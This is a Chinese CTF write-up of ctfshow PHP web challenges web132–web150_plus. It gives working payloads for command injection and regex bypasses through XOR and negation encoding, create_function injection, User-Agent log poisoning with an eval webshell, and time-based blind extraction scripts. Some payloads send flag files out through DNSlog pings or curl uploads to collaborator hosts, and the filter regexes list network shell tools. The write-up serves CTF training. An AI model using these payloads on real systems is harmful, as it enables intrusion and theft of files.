用bp爆一下
爆出来是admin
或者直接访问robots.txt
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
//三个变量必须都有
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
mt_rand — 生成更好的随机数
x || y 或 如果 x 和 y 至少有一个为 true,则返回 true
构造:
?username=admin&code=admin&password=0
web133
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
substr — 返回字符串的子串 0和6是取字符串的范围
$a=@$_GET["a"]; 其中的 @ 是为了防止没有 $_GET['a']出现错误提示.
但是 @ 的代价过高, 一般都用 isset() 来判断一下
相当于isset()
禁止了命令执行的函数
因为它执行$F的前六个字符,所以可以使用F='$F ';
通过传入?F='$F ';touch 1,传入之后访问1,没有返回,所以当前目录不可写
get传参?F='$F '的意思是:
因为F='$F ';sleep(3)
substr($F,0,6)截断得前六个字符'$F ';
执行原理:
eval(substr($F,0,6));
==>
eval('$F ';);
==>
eval(''$F ';sleep(3) ';);
``是shell_exec()函数的缩写
所以执行了$F ';sleep(3)
shell_exec — 通过 webshell 环境执行命令,并且将完整的输出以字符串的方式返回。
骚操作一:用dnslog获得子域(建议多试几边)
http://dnslog.cn/
curl不带有任何参数时,curl 就是发出 GET 请求。
grep指令用于查找内容包含指定的范本样式的文件
tr 指令从标准输入设备读取数据,经过字符串转译后,将结果输出到标准输出设备。
因为flag是数字加字母的字符串,所以可以用tr -cd "[a-z]"/"[0-9]"
curl用法指南:http://www.ruanyifeng.com/blog/2019/09/curl-reference.html
payload:
?F=`$F`;+ping `cat flag.php| grep ctfshow |tr -cd "[a-z]"/"[0-9]"`.(子域) -c 1
让他访问一下子域(二级域名),只要被访问就会留下记录
flag的格式是8 4 4 4 12,中间加-就可以了
操作二:
curl -F
>>-F参数用来向服务器上传二进制文件
$ curl -F 'file=@photo.png' https://google.com/profile
上面命令会给 HTTP 请求加上标头Content-Type: multipart/form-data,然后将文件photo.png作为file字段上传。
>>-F参数可以指定 MIME 类型。
$ curl -F 'file=@photo.png;type=image/png' https://google.com/profile
上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为application/octet-stream。
>>-F参数也可以指定文件名。
$ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile
上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
curl -X
-X参数指定 HTTP 请求的方法。
$ curl -X POST https://www.example.com
上面命令对https://www.example.com发出 POST 请求。
可以用curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://(域名地址)
使用:
先复制一个域名地址,然后get传入payload,传入之后
轮询一下就ok了
ctfshow web133和其他命令执行的骚操作
https://blog.csdn.net/qq_46091464/article/details/109095382
web134
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']); //把get传入的变量解析成多个变量
extract($_POST); //把$_POST数组导入到当前符号表
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
$_SERVER['QUERY_STRING']:
https://blog.csdn.net/qq_49480008/article/details/115872899
parse_str — 将字符串解析成多个变量
extract — 从数组中将变量导入到当前的符号表
直接构造;
?_POST[key1]=36d&_POST[key2]=36d
//因为php文件不会直接显现出来,所以需要查看源代码
web135
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
nl能用,其他的有paste等
?F=`$F `;nl f*>a
//访问url/a就可以了
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec() 执行 command 参数所指定的命令。
例:
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
echo exec('whoami');
?>
题中过滤了很多命令,但是tee命令还可以用
tee [-ai][–help][–version][文件…]
-a或–append 附加到既有文件的后面,而非覆盖它.
-i或–ignore-interrupts 忽略中断信号。
–help 在线帮助。
–version 显示版本信息。
tee a指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件a。
先:
?c=ls | tee a
然后访问url/a,查看文件,发现里面只有index.php
?c=ls / | tee b
发现里面有f149_15_h3r3
?c=cat /f149_15_h3r3 | tee c
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){ //静态函数
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
call_user_func()
函数将第一个参数作为回调函数调用,这题主要考察如何调用类中的静态函数
->与::调用函数的区别:
-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。
payload:
ctfshow=ctfshow::getFlag
//查看源代码
web138
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
strripos(string $haystack, string $needle, int $offset = 0): int
以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置。与 strrpos() 不同,strripos() 不区分大小写。
haystack
在此字符串中进行查找。
needle
注意 needle 可以是一个单字符或者多字符的字符串。
offset
参数 offset 可以被指定来查找字符串中任意长度的子字符串。
负数偏移量将使得查找从字符串的起始位置开始,到 offset 位置为止。
返回 needle 相对于 haystack 字符串的位置(和搜索的方向和偏移量无关)。同时注意字符串的起始位置为0而非1。
如果 needle 未被发现,返回 false。
if(strripos($_POST['ctfshow'], ":")>-1){因为返回值是在字符串中的位置,位置是一定>-1的
所以这句话的意思是post传入的ctfshow里面不能有:的存在
call_user_func支持传入数组
用数组调用静态函数
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
//查看源代码
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
开始想的是tee,但是发现没用
没有回显只能盲打了(与sql盲注类似)
要解决两个问题
1. 截取字符串
2. 判断命令执行结构
截取字符串可以用awk等命令
判断命令执行结果可以用shell编程的if语句和sleep()函数
awk逐行获取
cut命令截取单独的字符
shell编程,if语句控制输出,sleep控制延迟时间
这是hint中的脚本(想试试的话可以试试)(没跑出来。。。)
import requests
import time
import string
str=string.ascii_letters+string.digits
result="++++++++"
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 5;fi".format(i,j,n)
print(payload)
url="http://16497882-21ac-48ce-b1a0-7003be07003b.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(3))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result += " "
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 4;fi".format(j,n)
print(payload)
url="http://16497882-21ac-48ce-b1a0-7003be07003b.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(3))
except:
result=result+n
print(result)
break
群主脚本:(也没跑出来。。。可能是网络的问题)
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-10-04 08:43:04
# @Last Modified by: h1xa
# @Last Modified time: 2021-10-04 12:03:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
# /f149_15_h3r3
# ctfshow{7bae6719-8739-4628-b57b-acf7a5fc4351}
import requests
url = "http://fea78741-014c-4a82-8924-e4fc2541579f.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 4;fi"
result = "+++++++++++++++++"
length=48
strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
#strings = "ctfshow}abdegijklmnpqruvwxyz_-0123456789{"
for c in range(1,length):
print("+++++++++++++++第"+str(c)+"个字符")
for s in strings:
target = url+payload.format(c,s)
#print(target)
try:
requests.get(target,timeout=2.5)
except:
result +=s
print(result)
break
result += ""
print(result)
web140
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
所以只要让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
payload:
f1=md5&f2=phpinfo //md5(phpinfo())
f1=md5&f2=sleep //md5(sleep())
f1=md5&f2=md5 //md5(md5())
f1=current&f2=localeconv //current(localeconv())
f1=sha1&f2=getcwd //sha1(getcwd())
f1=usleep&f2=usleep //usleep(usleep())
web141
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
/^\W+$/ 作用是匹配非数字字母下划线的字符
本地测试一下eval("return 1;phpinfo();");
发现执行不了,但是eval("return 1-phpinfo()-1");
或eval("return 1-phpinfo();");
,可以执行phpinfo
所以需要绕过正则表达式
yu22x师傅的关于绕过正则表达式的文章:
https://blog.csdn.net/miuzzx/article/details/109143413
用取反脚本构造system(‘tac f*’);
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
//system(‘tac f*’)
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1
web142
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
?v1=0
//查看源代码
web143
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了+-,但还可以用*/
用异或脚本
payload:
?v1=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")*&v2=1
或
v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
web144
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
限制v3的长度为1,所以把命令弄到v2上
构造出eval("return 1-phpinfo();");
payload:
?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了+-*/,但是可以用三目运算符
测试eval("return 1?phpinfo():1;");
能执行phpinfo
payload:
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1
web146
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
; : ?也都被ban了
可以用等号(=)和位运算符(||)
测试发现eval("return 1==phpinfo()||1;");
可以执行phpinfo
payload:
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1
web147
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
参考文章:
https://paper.seebug.org/755/
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
system =>\system \是全局命名空间
/^[a-z0-9_]*$/isD
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行;
数字字母下划线都被过滤了
这个正则可以用%5c(/)绕过
可利用create_function()进行代码注入
create_function的第一个参数是参数,第二个参数是内容。
create_function('$a','return 123')
类似于:
function f($a) {
return 123;
}
如果我们第二个参数传入 echo 1;}phpinfo();//
function f($a) {
echo 1;}phpinfo();//
}
可以执行phpinfo()命令
payload:
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
原理:
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
%5ccreate_function('',echo 123;}system('tac f*');//);}
web148
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
法一:
没有过滤^,所以可以用异或构造:
//注意改脚本中的正则
payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
法二:中文变量
payload:
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*
web149
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
scandir(string $directory, int $sorting_order = ?, resource $context = ?): array
返回一个 array,包含有 directory 中的文件和目录。
directory
要被浏览的目录
sorting_order
默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order(设为 1),则排序顺序是按字母降序排列。
返回值
成功则返回包含有文件名的 array,如果失败则返回 false
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。
例:
<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// 现在 $arr 是 array(2, 4, 6, 8)
unlink(string $filename, resource $context = ?): bool
删除 filename。
filename
文件的路径。
返回值
成功时返回 true, 或者在失败时返回 false。
payload:
?ctf=index.php
show=<?php eval($_POST[1]);?>
1=system("ls /");
1=system("tac /ctfshow_fl0g_here.txt");
web150
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET); //覆盖
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){ //这句话的意思是:$isVIP=1,$ctf中没有:时
include($ctf);
}
extract — 从数组中将变量导入到当前的符号表
class_exists — 检查类是否已定义
所以我们可以传入isVIP=1,通过extract()
将原来的值覆盖掉
然后利用日志文件包含来rce
日志路径是/var/log/nginx/access.log
payload:
User-Agent:<?php @eval($_POST[a]);?>
GET:?isVIP=1
POST:ctf=/var/log/nginx/access.log&a=system("tac fl*");
现在UA头里写入一句话,EXECUTE
然后进行日志包含:POST
让$isVIP等于1:GET EXECUTE
//如果出不来,就换一个浏览器
web150_plus
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
//注意从这里class已经结束了,下面是一个专门的方法
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
$ctf中不能有:,也不能有log了
function autoload是当进行类判断的时候(if(class_exists),会自动调用function autoload
所以要尝试控制
$_CTFSHOW_
因为_被ban
可以用..来绕过
?..CTFSHOW..=phpinfo
原本要在进行文件包含,但是服务器负载较大,所以这个phpinfo里面就有flag
直接CTRL+F,查找flag就行了